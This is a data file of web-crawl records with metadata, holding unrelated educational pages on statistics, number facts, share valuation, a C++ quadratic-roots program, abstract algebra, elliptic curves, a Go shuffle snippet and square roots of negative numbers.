"## Before You Watch\n\nThis video will describe the concept of comparing two continuous numerical variables and formally testing whether responses to one variable are associate with responses from the other variable. This builds on the Random Variables video where variables type is described, as well as the Turning Data Into Information- Two Variables video where exploratory visual comparisons are described.\n\nReminder: a numerical variable is a variable where the possible responses are numbers which reflect the quantity, or amount, of something. Take for example height, in centimeters, or weight, in kilograms.\n\n...\n\n## Now What?\n\nThis video introduced how to determine if two numerical variables are related to each other, and whether that relationship is statistically significant or not. You can look to further develop your understanding of this concept by looking to the Other Links listed below. Alternatively, how to determine if two categorical variables are related is covered in Association Between Two Categorical Variables: Chi-Squared Test.\n\n## But When Am I Going to Use This?\n\nStatistics is essential in the study of systems of situations where there is an unpredictable random element. This includes a huge number of situations, such as any system that involves living things, which always have a degree of unpredictability. In fact, any studies that involve people involve statistics: for example, medical processes, education and economics. Other areas statistics can be applied to include quality control, stars, nature, or how wear and tear affects machinery."
]
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https://numbermatics.com/n/987854/ | [
"# 987854\n\n## 987,854 is an even composite number composed of four prime numbers multiplied together.\n\nWhat does the number 987854 look like?\n\nThis visualization shows the relationship between its 4 prime factors (large circles) and 16 divisors.\n\n987854 is an even composite number. It is composed of four distinct prime numbers multiplied together. It has a total of sixteen divisors.\n\n## Prime factorization of 987854:\n\n### 2 × 7 × 41 × 1721\n\nSee below for interesting mathematical facts about the number 987854 from the Numbermatics database.\n\n### Names of 987854\n\n• Cardinal: 987854 can be written as Nine hundred eighty-seven thousand, eight hundred fifty-four.\n\n### Scientific notation\n\n• Scientific notation: 9.87854 × 105\n\n### Factors of 987854\n\n• Number of distinct prime factors ω(n): 4\n• Total number of prime factors Ω(n): 4\n• Sum of prime factors: 1771\n\n### Divisors of 987854\n\n• Number of divisors d(n): 16\n• Complete list of divisors:\n• Sum of all divisors σ(n): 1735776\n• Sum of proper divisors (its aliquot sum) s(n): 747922\n• 987854 is a deficient number, because the sum of its proper divisors (747922) is less than itself. Its deficiency is 239932\n\n### Bases of 987854\n\n• Binary: 111100010010110011102\n• Base-36: L68E\n\n### Squares and roots of 987854\n\n• 987854 squared (9878542) is 975855525316\n• 987854 cubed (9878543) is 964002784105511864\n• The square root of 987854 is 993.9084464879\n• The cube root of 987854 is 99.5934830119\n\n### Scales and comparisons\n\nHow big is 987854?\n• 987,854 seconds is equal to 1 week, 4 days, 10 hours, 24 minutes, 14 seconds.\n• To count from 1 to 987,854 would take you about four days!\n\nThis is a very rough estimate, based on a speaking rate of half a second every third order of magnitude. If you speak quickly, you could probably say any randomly-chosen number between one and a thousand in around half a second. Very big numbers obviously take longer to say, so we add half a second for every extra x1000. (We do not count involuntary pauses, bathroom breaks or the necessity of sleep in our calculation!)\n\n• A cube with a volume of 987854 cubic inches would be around 8.3 feet tall.\n\n### Recreational maths with 987854\n\n• 987854 backwards is 458789\n• 987854 is a Harshad number.\n• The number of decimal digits it has is: 6\n• The sum of 987854's digits is 41\n• More coming soon!\n\nMLA style:\n\"Number 987854 - Facts about the integer\". Numbermatics.com. 2022. Web. 8 August 2022.\n\nAPA style:\nNumbermatics. (2022). Number 987854 - Facts about the integer. Retrieved 8 August 2022, from https://numbermatics.com/n/987854/\n\nChicago style:\nNumbermatics. 2022. \"Number 987854 - Facts about the integer\". https://numbermatics.com/n/987854/\n\nThe information we have on file for 987854 includes mathematical data and numerical statistics calculated using standard algorithms and methods. We are adding more all the time. If there are any features you would like to see, please contact us. Information provided for educational use, intellectual curiosity and fun!\n\nKeywords: Divisors of 987854, math, Factors of 987854, curriculum, school, college, exams, university, Prime factorization of 987854, STEM, science, technology, engineering, physics, economics, calculator, nine hundred eighty-seven thousand, eight hundred fifty-four.\n\nOh no. Javascript is switched off in your browser.\nSome bits of this website may not work unless you switch it on."
]
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https://www.analystforum.com/t/share-valuation/2837 | [
"",
null,
"# Share valuation\n\nFrom schweser, Given, EPS=\\$6/share Current dividend rate=\\$3/share Estimated growth rate=6% Required rate of return=10% One-year expected sale price of stock=\\$35/share How much would you be willing to pay for the stock? A)31.82 B)34.54 C)34.71 D)37.60 Using DDM I get a valuation of 3(1.06)/(.1-.06)=79.50?\n\nI get C… FV = 35 Pmt = 3 * (1.06) = 3.18 I/y = 10 n = 1 pv = 34.71\n\nB. (3+35)/1.1\n\nIt is D/1+k + P/1+k - DDM for a holding period of one year => 3.18+35/1.1 = \\$34.709 - C\n\n(3*1.06+35)/1.1=34.71 c\n\nthe answer is C nann_82 Wrote: ------------------------------------------------------- > It is D/1+k + P/1+k - DDM for a holding period of > one year => 3.18+35/1.1 = \\$34.709 - C thanks must have missed that\n\ni got C as well"
]
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"https://analystforum-uploads.s3.dualstack.us-east-1.amazonaws.com/original/2X/8/8e7be8e6512cde25d070f18d332292fb5a3804d9.png",
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| {"ft_lang_label":"__label__en","ft_lang_prob":0.82625973,"math_prob":0.9844177,"size":722,"snap":"2021-04-2021-17","text_gpt3_token_len":271,"char_repetition_ratio":0.14763232,"word_repetition_ratio":0.19354838,"special_character_ratio":0.52770084,"punctuation_ratio":0.14210527,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.9981306,"pos_list":[0,1,2],"im_url_duplicate_count":[null,null,null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2021-01-20T21:45:50Z\",\"WARC-Record-ID\":\"<urn:uuid:67a3e60a-3c21-4008-8ea6-16d1313a9f7c>\",\"Content-Length\":\"22838\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:0ee3ad3e-317f-47fa-99ec-c5fe44b81f77>\",\"WARC-Concurrent-To\":\"<urn:uuid:cbd4c6a6-810f-4223-9e4f-51af8e4272ed>\",\"WARC-IP-Address\":\"45.79.51.137\",\"WARC-Target-URI\":\"https://www.analystforum.com/t/share-valuation/2837\",\"WARC-Payload-Digest\":\"sha1:77XOD6KEBI5PLGRDIVNOSZHRDF6VGPIV\",\"WARC-Block-Digest\":\"sha1:P3W7645FSCHZFAZNA5BHBJPSLUBTUVCM\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2021/CC-MAIN-2021-04/CC-MAIN-2021-04_segments_1610703522133.33_warc_CC-MAIN-20210120213234-20210121003234-00311.warc.gz\"}"} |
https://learnetutorials.com/cpp-programming/programs/quadratic-equation-roots | [
"",
null,
"# C++ Program to find roots of a quadratic equation\n\nNovember 4, 2021, Learn eTutorial\n917\n\nHere we are discussing a C++ program to find all roots of a quadratic equation.\n\n## What is a quadratic equation?\n\nIn math, we define a quadratic equation as an equation of degree 2, meaning that the highest exponent of this function is 2. The standard form of a quadratic is y = ax2 + bx + c, where a, b, and c are numbering and a cannot be 0.\n\nExample : 6x2 + 11x – 35 = 0.",
null,
"## How to find the roots of a quadratic equation?\n\nFor a quadratic equation ax2 + bx + c = 0, The roots are calculated using the formula,\n\nx = (-b ± √ (b² - 4ac) ) / 2a\n\nWhere,\n\n• a, b, and c are coefficients.\n• b2 - 4ac is called the discriminant.",
null,
"With respect to the value of discriminant the roots of the equation will be\n\n• If the discriminant of the equation is greater than zero, then the roots will be real and different\n• If the discriminant of the quadratic is Zero, then the roots will be real and equal.\n• If the discriminant of the equation is less than zero, then the roots are complex and different.\n\n## How to calculate the roots of a quadratic equation using C++ program?\n\nAsk the user to enter the value of three variables a, b, and c. First, calculate the value of the discriminant by using the formula, Discriminant = b² - 4ac. Store the value to variable discrim, which is of float type.\n\nFor the discriminant value, we have three conditions. as we discussed above which will be less than or equal to, or greater than zero. This can be done by using the `if….else if….else `statement.\n\nIf the value of discrim is greater than zero ( discrim > 0 ) calculate the roots by the formula (-b ± √ (b² - 4ac) )/2a. In this equation, the square root will find out using the function sqrt function. The sqrt() function in C++ is used for calculating the square root. it is defined in the cmath header of C++.\n\n• R1= (-b + √ (b² - 4ac) )/2a and\n• R2 = (-b - √ (b² - 4ac) )/2a\n• Print R1 and R2.\n\nElse if the discriminant value is equal to zero ( discrim = = 0 )\n\n• Root R1 = root R 2\n• R1 = -b / 2a\n• Print R1\n\nElse there are two parts real part and the imaginary part.\n\n• The real part is calculated by using the formula rpart = -b / 2a;\n• Imaginary part is calculated by using the formula ipart = i√- (b² - 4ac) )/2a\n• Print the imaginary part and the real part.\n\n### Algorithm\n\nStep 1: Call the header file `iostream.`\n\nStep 2: Call the header file `cmath.`\n\nStep 3: Use the `namespace std`\n\nStep 4: Open the main function `int main().`\n\nStep 5: Declare float variables; a, b, c, R1, R2, discrim, ipart, rpart\n\nStep 6: Print a message to enter coefficients a, b, and c;\n\nStep 7: Read the numbers into the variables a, b, and c.\n\nStep 8: Calculate the discriminant discrim = b2 - 4ac.\n\nStep 9: if the discrim >0\n\n• Then R1= (-b + sqrt(discrim )/2a and\n• R2 = (-b - sqrt(discrim )/2a\n• Print R1 and R2\n\nElse if discrim = 0\n\n• Then R1 = R2\n• R1 = -b / 2a\n\nElse if discrim < 0\n\n• Real part rpart = -b / 2a;\n• Imaginary part ipart = i√- sqrt(discrim)/2a\n• Print rpart and ipart\n\nStep 10: Exit\n\n## C++ Source Code\n\n``` ```#include <iostream>\n#include <cmath>\nusing namespace std;\n\nint main() {\n\nfloat a, b, c, R1, R2, discrim, rPart, iPart;\ncout << \"Enter coefficients a, b and c: \";\ncin >> a >> b >> c;\ndiscrim= b*b - 4*a*c;\n\nif (discrim> 0) {\nR1 = (-b + sqrt(discrim)) / (2*a);\nR2 = (-b - sqrt(discrim)) / (2*a);\ncout << \"Roots are real and different.\" << endl;\ncout << \"R1 = \" << R1 << endl;\ncout << \"R2 = \" << R2 << endl;\n}\n\nelse if (discrim == 0) {\ncout << \"Roots are real and same.\" << endl;\nR1 = -b/(2*a);\ncout << \"R1 = R2 =\" << R1 << endl;\n}\n\nelse {\nrPart = -b/(2*a);\niPart =sqrt(-discrim)/(2*a);\ncout << \"Roots are complex and different.\" << endl;\ncout << \"x1 = \" << rPart << \"+\" << iPart << \"i\" << endl;\ncout << \"x2 = \" << rPart << \"-\" << iPart << \"i\" << endl;\n}\n\nreturn 0;\n}```\n```\n\n## OUTPUT\n\n```Enter coefficients a, b and c: 5\n3\n6\nRoots are complex and different.\nx1 = -0.3+1.05357i\nx2 = -0.3-1.05357i\n```"
]
| [
null,
"https://learnetutorials.com/assets/uploads/course/c++blue.webp",
null,
"https://learnetutorials.com/assets/images/programs/quadratic-equation-roots.png",
null,
"https://learnetutorials.com/assets/images/programs/quadratic-polynomial-roots.png",
null
]
| {"ft_lang_label":"__label__en","ft_lang_prob":0.75402325,"math_prob":0.9994229,"size":2727,"snap":"2023-14-2023-23","text_gpt3_token_len":844,"char_repetition_ratio":0.14285715,"word_repetition_ratio":0.04693141,"special_character_ratio":0.35496882,"punctuation_ratio":0.17123288,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.9999844,"pos_list":[0,1,2,3,4,5,6],"im_url_duplicate_count":[null,null,null,1,null,1,null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2023-06-01T04:51:24Z\",\"WARC-Record-ID\":\"<urn:uuid:6518fb2a-c336-49bc-acc4-3429068116d7>\",\"Content-Length\":\"65969\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:3378637c-b69b-4e39-8f0d-4fd8e0b7f960>\",\"WARC-Concurrent-To\":\"<urn:uuid:4dbaf9cc-8ecb-4c27-9316-869ff99628e3>\",\"WARC-IP-Address\":\"162.159.136.54\",\"WARC-Target-URI\":\"https://learnetutorials.com/cpp-programming/programs/quadratic-equation-roots\",\"WARC-Payload-Digest\":\"sha1:CKTOB7ZAS7TSYFYHZJPAJFCJKIPEE2SV\",\"WARC-Block-Digest\":\"sha1:LO3YJKU7W5VNMIMZPEKO6S66SZ2EFLBF\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2023/CC-MAIN-2023-23/CC-MAIN-2023-23_segments_1685224647614.56_warc_CC-MAIN-20230601042457-20230601072457-00749.warc.gz\"}"} |
https://metanumbers.com/131938 | [
"# 131938 (number)\n\n131,938 (one hundred thirty-one thousand nine hundred thirty-eight) is an even six-digits composite number following 131937 and preceding 131939. In scientific notation, it is written as 1.31938 × 105. The sum of its digits is 25. It has a total of 3 prime factors and 8 positive divisors. There are 64,320 positive integers (up to 131938) that are relatively prime to 131938.\n\n## Basic properties\n\n• Is Prime? No\n• Number parity Even\n• Number length 6\n• Sum of Digits 25\n• Digital Root 7\n\n## Name\n\nShort name 131 thousand 938 one hundred thirty-one thousand nine hundred thirty-eight\n\n## Notation\n\nScientific notation 1.31938 × 105 131.938 × 103\n\n## Prime Factorization of 131938\n\nPrime Factorization 2 × 41 × 1609\n\nComposite number\nDistinct Factors Total Factors Radical ω(n) 3 Total number of distinct prime factors Ω(n) 3 Total number of prime factors rad(n) 131938 Product of the distinct prime numbers λ(n) -1 Returns the parity of Ω(n), such that λ(n) = (-1)Ω(n) μ(n) -1 Returns: 1, if n has an even number of prime factors (and is square free) −1, if n has an odd number of prime factors (and is square free) 0, if n has a squared prime factor Λ(n) 0 Returns log(p) if n is a power pk of any prime p (for any k >= 1), else returns 0\n\nThe prime factorization of 131,938 is 2 × 41 × 1609. Since it has a total of 3 prime factors, 131,938 is a composite number.\n\n## Divisors of 131938\n\n8 divisors\n\n Even divisors 4 4 4 0\nTotal Divisors Sum of Divisors Aliquot Sum τ(n) 8 Total number of the positive divisors of n σ(n) 202860 Sum of all the positive divisors of n s(n) 70922 Sum of the proper positive divisors of n A(n) 25357.5 Returns the sum of divisors (σ(n)) divided by the total number of divisors (τ(n)) G(n) 363.233 Returns the nth root of the product of n divisors H(n) 5.20312 Returns the total number of divisors (τ(n)) divided by the sum of the reciprocal of each divisors\n\nThe number 131,938 can be divided by 8 positive divisors (out of which 4 are even, and 4 are odd). The sum of these divisors (counting 131,938) is 202,860, the average is 2,535,7.5.\n\n## Other Arithmetic Functions (n = 131938)\n\n1 φ(n) n\nEuler Totient Carmichael Lambda Prime Pi φ(n) 64320 Total number of positive integers not greater than n that are coprime to n λ(n) 8040 Smallest positive number such that aλ(n) ≡ 1 (mod n) for all a coprime to n π(n) ≈ 12292 Total number of primes less than or equal to n r2(n) 16 The number of ways n can be represented as the sum of 2 squares\n\nThere are 64,320 positive integers (less than 131,938) that are coprime with 131,938. And there are approximately 12,292 prime numbers less than or equal to 131,938.\n\n## Divisibility of 131938\n\n m n mod m 2 3 4 5 6 7 8 9 0 1 2 3 4 2 2 7\n\nThe number 131,938 is divisible by 2.\n\n• Deficient\n\n• Polite\n\n• Square Free\n\n• Sphenic\n\n## Base conversion (131938)\n\nBase System Value\n2 Binary 100000001101100010\n3 Ternary 20200222121\n4 Quaternary 200031202\n5 Quinary 13210223\n6 Senary 2454454\n8 Octal 401542\n10 Decimal 131938\n12 Duodecimal 6442a\n20 Vigesimal g9gi\n36 Base36 2tsy\n\n## Basic calculations (n = 131938)\n\n### Multiplication\n\nn×y\n n×2 263876 395814 527752 659690\n\n### Division\n\nn÷y\n n÷2 65969 43979.3 32984.5 26387.6\n\n### Exponentiation\n\nny\n n2 17407635844 2296728657985672 303025785677313592336 39980616110693400745627168\n\n### Nth Root\n\ny√n\n 2√n 363.233 50.9085 19.0587 10.57\n\n## 131938 as geometric shapes\n\n### Circle\n\n Diameter 263876 828991 5.46877e+10\n\n### Sphere\n\n Volume 9.62051e+15 2.18751e+11 828991\n\n### Square\n\nLength = n\n Perimeter 527752 1.74076e+10 186589\n\n### Cube\n\nLength = n\n Surface area 1.04446e+11 2.29673e+15 228523\n\n### Equilateral Triangle\n\nLength = n\n Perimeter 395814 7.53773e+09 114262\n\n### Triangular Pyramid\n\nLength = n\n Surface area 3.01509e+10 2.70672e+14 107727\n\n## Cryptographic Hash Functions\n\nmd5 420f3c51bce93da9132e86041fe2fdc2 ea1fec27b1dfcd171ab3c8887d699112c65a2ec0 6d4afe4c71c4a9cedaf05762f5f38eeae105b7d0495212a0127754c9e0101910 9c1bd71d0630fd60c662573685d95abbe3222564c448c9af09a792a9bc1b148387158cb9aa385860a7e58a29015e0df7e76ee41730dfcf2af4908f32dd5a5350 5a8ee8d9e7c72ba948276421f712b72c58c0f8bb"
]
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null
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| {"ft_lang_label":"__label__en","ft_lang_prob":0.61647344,"math_prob":0.98233473,"size":4627,"snap":"2021-31-2021-39","text_gpt3_token_len":1626,"char_repetition_ratio":0.12005191,"word_repetition_ratio":0.031019202,"special_character_ratio":0.4586125,"punctuation_ratio":0.078580484,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.9954401,"pos_list":[0],"im_url_duplicate_count":[null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2021-09-24T05:14:04Z\",\"WARC-Record-ID\":\"<urn:uuid:f4a28720-92e5-4b4f-8d10-244aad6c2ae1>\",\"Content-Length\":\"39941\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:76706dc1-bb66-4141-8330-0af8a0324898>\",\"WARC-Concurrent-To\":\"<urn:uuid:ab0d5b22-87f2-4305-bb92-ca44ecdc6f24>\",\"WARC-IP-Address\":\"46.105.53.190\",\"WARC-Target-URI\":\"https://metanumbers.com/131938\",\"WARC-Payload-Digest\":\"sha1:IYMP3RUQATNXPRRL43DP366E6KHI722E\",\"WARC-Block-Digest\":\"sha1:62Y6FW77ZOTEDR6WKUWBOKJJCX4EHERT\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2021/CC-MAIN-2021-39/CC-MAIN-2021-39_segments_1631780057504.60_warc_CC-MAIN-20210924050055-20210924080055-00470.warc.gz\"}"} |
https://journals.tubitak.gov.tr/math/vol40/iss2/10/ | [
"•\n•\n\n## Turkish Journal of Mathematics\n\n#### Article Title\n\nWeakly $2$-absorbing submodules of modules\n\n#### DOI\n\n10.3906/mat-1501-55\n\n#### Abstract\n\nLet $M$ be a module over a commutative ring $R.$ A proper submodule $N$ of $M$ is called weakly $2$-absorbing, if for $r,s\\in R$ and $x\\in M$ with $0\\neq rsx\\in N,$ either $rs\\in (N:M)$ or $rx\\in N$ or $sx\\in N.$ We study the behavior of $(N:M)$ and $\\sqrt{(N:M)},$ when $N$ is weakly $2$-absorbing. The weakly $2$-absorbing submodules when $R=R_1\\oplus R_2$ are characterized. Moreover we characterize the faithful modules whose proper submodules are all weakly $2$-absorbing.\n\n#### Keywords\n\nPrime submodule, $2$-absorbing submodule, weakly $2$-absorbing submodule, weakly prime submodule, weak prime submodule\n\n350\n\n364\n\nCOinS"
]
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null
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| {"ft_lang_label":"__label__en","ft_lang_prob":0.5159961,"math_prob":0.9988555,"size":987,"snap":"2023-40-2023-50","text_gpt3_token_len":339,"char_repetition_ratio":0.19125128,"word_repetition_ratio":0.0,"special_character_ratio":0.3100304,"punctuation_ratio":0.16585366,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.99946433,"pos_list":[0],"im_url_duplicate_count":[null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2023-09-22T07:17:35Z\",\"WARC-Record-ID\":\"<urn:uuid:3ac60e7f-5c75-4452-bf17-756210ecc1e0>\",\"Content-Length\":\"50175\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:b1063afe-e2c3-4c47-a06d-fcb2c653bf61>\",\"WARC-Concurrent-To\":\"<urn:uuid:70013b28-ca72-4000-9b07-1f7297927d24>\",\"WARC-IP-Address\":\"50.18.241.247\",\"WARC-Target-URI\":\"https://journals.tubitak.gov.tr/math/vol40/iss2/10/\",\"WARC-Payload-Digest\":\"sha1:EGCAOKF5CXS2ST6VUP2TWJVDBANVF447\",\"WARC-Block-Digest\":\"sha1:5YFG37GVACSJR4KHLGWWH2W2IK3UMIHI\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2023/CC-MAIN-2023-40/CC-MAIN-2023-40_segments_1695233506339.10_warc_CC-MAIN-20230922070214-20230922100214-00398.warc.gz\"}"} |
https://mathoverflow.net/questions/69824/ramification-in-p-division-fields-associated-to-elliptic-curves-with-good-ordina | [
"# Ramification in p-division fields associated to elliptic curves with good ordinary reduction\n\nDear MO,\n\nLet $p$ be a prime and let $E/\\mathbb{Q}_p$ be an elliptic curve. Suppose that $E/\\mathbb{Q}_p$ has good ordinary reduction at $p$. In his 1972 paper Propriétés galoisiennes des points d'ordre fini des courbes elliptiques'' (more specifically, see Corollaire, in p. 274), Serre shows along the way that the inertia subgroup of $\\operatorname{Gal}(\\mathbb{Q}_p(E[p])/\\mathbb{Q}_p)$ is, with respect to a suitable basis of $E[p]$, isomorphic to either a matrix group of the form {$[\\ast\\ 0; 0\\ 1]$} or {$[\\ast\\ \\ast; 0\\ 1]$} as a subgroup of $\\operatorname{GL}(2,\\mathbb{F}_p)$. After this result, Serre remarks that he doesn't know of any simple criterion that would determine whether one is in the first case or the second case.\n\nQuestion: Nowadays, do we know of a criterion to tell whether one is in the first case or the second case?\n\nA more concrete question: Here is the particular example that I am working with: Let $E/\\mathbb{Q}$ be 1225h1'' in Cremona's tables, given by $$E : y^2 + xy + y = x^3 + x^2 - 8x + 6.$$ This curve has a rational $37$-isogeny and therefore $\\operatorname{Gal}(\\mathbb{Q}(E)/\\mathbb{Q})$ is a Borel subgroup of $\\operatorname{GL}(2,\\mathbb{F}_{37})$. The curve $E$ has good ordinary reduction at $p=37$ and I am trying to find out whether the ramification index of $37$ in the extension $\\mathbb{Q}(E)/\\mathbb{Q}$ is just $\\varphi(37)$ or rather $\\varphi(37)\\cdot 37$, where $\\varphi$ is the Euler phi function.\n\nThe $37$th division polynomial of $E/\\mathbb{Q}$ has degree $684$ and it factors (over $\\mathbb{Q}[x]$) as a product of $4$ polynomials of degrees $6$, $6$, $6$ and $666$, respectively. The extension of degree $666$ is, well, diabolically large and I can't find the ramification at $37$ computationally... or at least I don't know how to!\n\n• You won't need to factor your diabolic polynomial; the slopes of the Newton polygon in $\\mathbb{Q}_p[x]$ are enough to determine the ramification. In your case there are 666 unit roots and 18 of valuation $−1/18$. Jul 9, 2011 at 8:05\n• Chris, if I am not mistaken, the slopes of the Newton polygon will determine the valuations of the x-coordinates of the 37-torsion points. But even if the valuations of the roots of the polynomial of degree $666$ are $0$, that doesn't mean that the extension generated by the roots is unramified, does it? For instance, the slopes of $1+x+x^2$ are $[0,0]$ for $p=3$ but, of course, the prime $3$ ramifies in $\\mathbb{Q}(\\zeta_3)/\\mathbb{Q}$. Jul 9, 2011 at 14:20\n• Absolutely correct. I am embarrassed about my mistake. The only thing it shows is that the reduction is ordinary. Jul 10, 2011 at 15:18\n\nAssume $p \\ne 2$. The condition for the representation to be tamely ramified (i.e $* = 0$ in the upper right entry of the matrix) is that $j(E) \\equiv j_0 \\mod p^2$ where $j(E)$ is the $j$-invariant of $E$ and $j_0$ is the $j$-invariant of the canonical lift of the reduction of $E$. This is proved in Gross \"A tameness criterion for galois representations...\" Duke J. 61 (1990) on page 514. For $p=2$ you need the congruence modulo $8$. Serre gives an algorithm for computing $j_0$ in Lubin-Serre-Tate.\n• Thank you, Felipe! I will try to calculate $j_0$ in this case and report back. Jul 9, 2011 at 14:22\n• Ok, if I am understanding everything correctly, there is a typo in the very last line of Lubin-Serre-Tate. When $p=2$ and $\\lambda=1$, one should have $j_0 = 3375/31 = 3^3\\cdot 5^3/31$. The polynomial $\\phi_2(x,x^2)$ factors as $2^4(31x-3375)(3x^4 + 3x^3 + 82531x^2 + 26622000x + 2916000000)$, where $\\phi_2(x,y)$ is the classical modular polynomial for $N=2$. The only root in $\\mathbb{Q}_2$ congruent to $1$ mod $2$ is $3375/31$. Jul 12, 2011 at 4:09\n• @Álvaro: Careful, $s(x)$ is not $x^2$, only congruent to it modulo $2$. It is the Frobenius on Witt vectors which squares the Witt coordinates. I doubt there is a typo, Serre would have picked it up. Most of the corrections I have listed on that page were his. Jul 12, 2011 at 11:22"
]
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null
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| {"ft_lang_label":"__label__en","ft_lang_prob":0.8305109,"math_prob":0.99954677,"size":1827,"snap":"2023-40-2023-50","text_gpt3_token_len":570,"char_repetition_ratio":0.11684037,"word_repetition_ratio":0.04964539,"special_character_ratio":0.3223864,"punctuation_ratio":0.1027027,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.99993193,"pos_list":[0],"im_url_duplicate_count":[null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2023-12-01T04:16:29Z\",\"WARC-Record-ID\":\"<urn:uuid:37055377-1013-4371-afd7-439002e65ff3>\",\"Content-Length\":\"117387\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:5afaf58f-395c-4f03-bd62-5ee1e54ee86a>\",\"WARC-Concurrent-To\":\"<urn:uuid:e3b12ddd-b354-46b6-bd7e-48435bd01842>\",\"WARC-IP-Address\":\"104.18.37.74\",\"WARC-Target-URI\":\"https://mathoverflow.net/questions/69824/ramification-in-p-division-fields-associated-to-elliptic-curves-with-good-ordina\",\"WARC-Payload-Digest\":\"sha1:3VOOIA72QIRDI5RT4U2UYX5GZRJTARWJ\",\"WARC-Block-Digest\":\"sha1:QXPMBYTOVOMR7TQMB43XVYOKTF7R4XGZ\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2023/CC-MAIN-2023-50/CC-MAIN-2023-50_segments_1700679100264.9_warc_CC-MAIN-20231201021234-20231201051234-00137.warc.gz\"}"} |
https://socketloop.com/tutorials/golang-shuffle-array-of-list/?utm_source=socketloop&utm_medium=tutesidebar | [
"# Golang : Shuffle array of list\n\nContinue from previous tutorial on how to shuffle an array of strings, to shuffle array of list is not really straight forward, but it can be done easily with `rand.Perm()` function. Use this code example to shuffle an array of list.\n\n`````` package main\n\nimport (\n\"fmt\"\n\"math/rand\"\n\"time\"\n)\n\nfunc shuffleList(start, end int) []int {\nif end < start {\nstart, end = end, start\n}\n\nlength := end - start\nrand.Seed(time.Now().UTC().UnixNano())\n\nlist := rand.Perm(length)\nfor index, _ := range list {\nlist[index] += start\n}\nreturn list\n}\n\nfunc main() {\n\nmapList := make([]map[int]int, 3)\n\nmapList = map[int]int{1: 1}\n\nmapList = map[int]int{2: 2}\n\nmapList = map[int]int{3: 3}\n\nshuffled := shuffleList(0, len(mapList))\n\nfmt.Printf(\"Original order : %v\\n\", mapList)\n\nfmt.Printf(\"Shuffled order : %v\\n\", shuffled)\n\n}\n``````\n\nSample output :\n\nOriginal order : [map[1:1] map[2:2] map[3:3]]\n\nShuffled order : [1 0 2]"
]
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| {"ft_lang_label":"__label__en","ft_lang_prob":0.66344714,"math_prob":0.99291635,"size":1964,"snap":"2023-40-2023-50","text_gpt3_token_len":541,"char_repetition_ratio":0.12346939,"word_repetition_ratio":0.006472492,"special_character_ratio":0.2790224,"punctuation_ratio":0.17128463,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.97859,"pos_list":[0],"im_url_duplicate_count":[null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2023-12-09T16:03:11Z\",\"WARC-Record-ID\":\"<urn:uuid:daaf7857-9a59-4f27-b426-50401f0bb4ac>\",\"Content-Length\":\"452989\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:37b4d86c-b5bc-47c0-bbc3-20fe74a30fd8>\",\"WARC-Concurrent-To\":\"<urn:uuid:3c9387e8-c634-469c-a19e-8a68d3a3e4d5>\",\"WARC-IP-Address\":\"104.21.16.89\",\"WARC-Target-URI\":\"https://socketloop.com/tutorials/golang-shuffle-array-of-list/?utm_source=socketloop&utm_medium=tutesidebar\",\"WARC-Payload-Digest\":\"sha1:OT2QCWNLDBUAORQ57APVWUA75D2MRILY\",\"WARC-Block-Digest\":\"sha1:L7VV453THB6QSCL7MJPYODGEMMVVA6NW\",\"WARC-Identified-Payload-Type\":\"application/xhtml+xml\",\"warc_filename\":\"/cc_download/warc_2023/CC-MAIN-2023-50/CC-MAIN-2023-50_segments_1700679100912.91_warc_CC-MAIN-20231209134916-20231209164916-00313.warc.gz\"}"} |
https://www.onemathematicalcat.org/Math/Precalculus_obj/squareRootNeg.htm | [
" The Square Root of a Negative Number\n\n# THE SQUARE ROOT OF A NEGATIVE NUMBER\n\n• PRACTICE (online exercises and printable worksheets)\n\nSquare roots of negative numbers were introduced in a prior lesson:\nArithmetic with Complex Numbers in the Algebra II materials.\nFor your convenience, that material is repeated (and extended) here.\n\nFirstly, recall some information from beginning algebra:\n\n## The Square Root of a Nonnegative Real Number\n\nFor a nonnegative real number $\\,k\\,$, $$\\overbrace{\\ \\ \\ \\sqrt{k}\\ \\ \\ }^{\\text{the square root of \\,k\\,}} := \\ \\ \\text{the unique nonnegative real number which, when squared, equals \\,k\\,}$$\n\n(Note: when the distinction becomes important in higher-level mathematics, then $\\,\\sqrt{k}\\,$ is called the principal square root of $\\,k\\,$.)\n\nThus, the number that gets to be called the square root of $\\,k\\,$ satisfies two properties:\n\n• it is nonnegative (not negative; i.e., greater than or equal to zero)\n• when squared, it gives $\\,k\\,$\nFor example, $\\,\\sqrt{9} = 3\\,$ since the number $\\,3\\,$ satisfies these two properties:\n• $\\,3\\,$ is nonnegative\n• $\\,3\\,$, when squared, gives $\\,9\\,$: $\\,3^2 = 9\\,$\n\nSo, what is (say) $\\,\\sqrt{-4}\\$?\nThere does not exist a nonnegative real number which, when squared, equals $\\,-4\\$.\nWhy not?\nEvery real number, when squared, is nonnegative: for all real numbers $\\,x\\,$, $\\,x^2 \\ge 0\\,$.\nComplex numbers to the rescue!\n\n## 